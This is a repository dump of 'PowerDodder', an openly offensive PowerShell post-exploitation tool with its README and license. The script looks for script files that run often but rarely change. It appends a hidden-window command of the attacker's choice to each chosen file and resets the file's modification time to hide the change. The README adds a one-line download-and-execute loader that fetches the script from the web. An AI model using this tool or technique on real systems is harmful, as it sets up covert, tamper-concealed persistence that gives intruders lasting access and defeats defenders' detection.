├── LICENSE ├── PowerDodder.ps1 └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Itay Migdal 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PowerDodder.ps1: -------------------------------------------------------------------------------- 1 | $Global:FoldersToSearch = @( 2 | "C:\Users\", 3 | "C:\Program Files\", 4 | "C:\Program Files (x86)\", 5 | "C:\ProgramData\" 6 | ) 7 | 8 | $Global:fileExtensions = @{ 9 | # extension = "how to run a command in a new process" 10 | ".cmd" = 'start /B COMMAND' 11 | ".bat" = 'start /B COMMAND' 12 | ".ps1" = 'Start-Process -WindowStyle Hidden COMMAND' 13 | ".vbs" = 'CreateObject("WScript.Shell").Run "COMMAND", 0, False' 14 | ".js" = 'new ActiveXObject("WScript.Shell").Run("COMMAND", 0, false)' 15 | } 16 | 17 | $Global:Candidates = @{} 18 | $Global:Infected = @{} 19 | $Global:Counter = 0 20 | 21 | function DodderHunt { 22 | param( 23 | $LastAccessTimeThreshold = (Get-Date).AddDays(-7), 24 | $LastModifyTimeThreshold = (Get-Date).AddMonths(-3), 25 | $FolderPath = "" 26 | ) 27 | if ($FolderPath -ne "") { 28 | $FoldersToSearch = @($FolderPath) 29 | } 30 | 31 | foreach ($Folder in $FoldersToSearch) { 32 | if (Test-Path $Folder) { 33 | $Files = Get-ChildItem -Path $Folder -Recurse -File -ErrorAction SilentlyContinue | 34 | Where-Object { $fileExtensions.Keys -contains $_.Extension } | 35 | Where-Object { ($_.LastAccessTime -gt $LastAccessTimeThreshold) -and ($_.LastWriteTime -lt $LastModifyTimeThreshold) } 36 | 37 | foreach ($File in $Files) { 38 | $IsDuplicate = $Global:Candidates.Values | Where-Object { $_.FilePath -eq $File.FullName } 39 | if (-not $IsDuplicate) { 40 | $Global:Candidates[$Global:Counter] = [PSCustomObject]@{ 41 | ID = $Global:Counter 42 | FilePath = $File.FullName 43 | LastModified = $File.LastWriteTime 44 | LastAccessed = $File.LastAccessTime 45 | Size = $File.Length 46 | Extension = $File.Extension 47 | } 48 | $Global:Counter += 1 49 | } 50 | } 51 | } 52 | 53 | } 54 | DodderShow 55 | } 56 | 57 | function DodderShow { 58 | if ($Global:Candidates.Count -gt 0) { Write-host "==========`nCandidates`n==========" } 59 | $Global:Candidates.Values | Sort-Object ID | Format-Table 60 | if ($Global:infected.Count -gt 0) { Write-host "========`nInfected`n========" } 61 | $Global:infected.Values | Sort-Object ID | Format-Table 62 | } 63 | 64 | function DodderClearCandidates { 65 | $Global:Candidates.Clear() 66 | } 67 | 68 | function DodderInfect { 69 | param( 70 | [Parameter(Mandatory = $true)] [int] $ID, 71 | [Parameter(Mandatory = $true)] [string] $PersistCommand 72 | ) 73 | $Script2Infect = $Global:Candidates[$ID] 74 | $SpawnPersistCommand = $fileExtensions[$Script2Infect.Extension].replace("COMMAND", $PersistCommand) 75 | try { 76 | Add-Content -Path $Script2Infect.FilePath -Value "" 77 | Add-Content -Path $Script2Infect.FilePath -Value $SpawnPersistCommand 78 | Get-ChildItem -Path $Script2Infect.FilePath | ForEach-Object { $_.LastWriteTime = $Script2Infect.LastModified } 79 | $Global:Infected[$ID] = $Script2Infect 80 | $Global:Infected[$ID].Size = (Get-ChildItem -Path $Script2Infect.FilePath | Select-Object -ExpandProperty Length) 81 | $Global:Candidates.Remove($ID) 82 | } 83 | catch { 84 | Write-host $_ 85 | } 86 | } 87 | 88 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerDodder 2 | 3 | **PowerDodder** is a post-exploitation persistence utility designed to stealthily embed execution commands into existing script files on the host. By leveraging files that are frequently accessed but rarely modified, it targets high-likelihood execution vectors with minimal detection risk. 4 | 5 | ## 🧠 Background 6 | 7 | Traditional persistence methods (e.g., Registry `Run` keys, scheduled tasks) are often monitored or flagged by EDRs and blue teams. PowerDodder takes a novel approach: 8 | 9 | - It hunts for existing script files on disk (`.ps1`, `.bat`,`.cmd`, `.vbs`, `.js`). 10 | - It prioritizes those that: 11 | - **Have been accessed recently** (indicating they're being executed often). 12 | - **Haven’t been modified recently** (suggesting they're not actively edited). 13 | - It lets you choose the target script(s), and then it appends a payload-spawning command using a context-appropriate syntax (PowerShell, VBScript, JScript, etc.). 14 | 15 | This allows for low-noise persistence, hitching a ride on legitimate execution paths. 16 | 17 | ## 🛠️ Usage 18 | 19 | ### 1. Load the script 20 | 21 | ``` 22 | iex (iwr https://raw.githubusercontent.com/itaymigdal/PowerDodder/refs/heads/main/PowerDodder.ps1) 23 | ``` 24 | 25 | ### 2. Run a Hunt 26 | 27 | Scans predefined folders (`C:\Users\`, `C:\Program Files\`, `C:\Program Files (x86)\`, `C:\ProgramData\`) for promising script files. 28 | ``` 29 | DodderHunt 30 | ``` 31 | You can also target a specific folder: 32 | ``` 33 | DodderHunt -FolderPath "C:\CustomPath" 34 | ``` 35 | **Optional params:** 36 | 37 | -LastAccessTimeThreshold: default is 7 days. 38 | 39 | -LastModifyTimeThreshold: default is 3 months. 40 | 41 | You can set different thresholds like that: 42 | ``` 43 | $DifferentModifyThreshold = (get-date).AddMonths(-4) 44 | $DifferentAccessThreshold = (get-date).AddDays(-20) 45 | DodderHunt -LastAccessTimeThreshold $DifferentAccessThreshold -LastModifyTimeThreshold $DifferentModifyThreshold 46 | ``` 47 | 48 | ### 3. Infect a script 49 | ``` 50 | DodderInfect -ID -PersistCommand 51 | ``` 52 | This will: 53 | - Create the appended line of your command based on the relevant template. 54 | - Modify the file by appending the persistence command. 55 | - Restore the original script LastWriteTime attribute to hide the modification. 56 | - Move the infected script to the Infected list. 57 | 58 | ### 4. Helpers 59 | 60 | - `DodderShow`: Lists found candidates and already-infected files. 61 | - `DodderClearCandidates`: Empties the current candidates list (useful before rescanning). 62 | 63 | 64 | ## 📚 Name Origin 65 | The name Dodder comes from a parasitic vine that attaches itself to host plants, slowly feeding off them without killing them — much like this tool latches onto host scripts for persistent execution. 66 | 67 | --------------------------------------------------------------------------------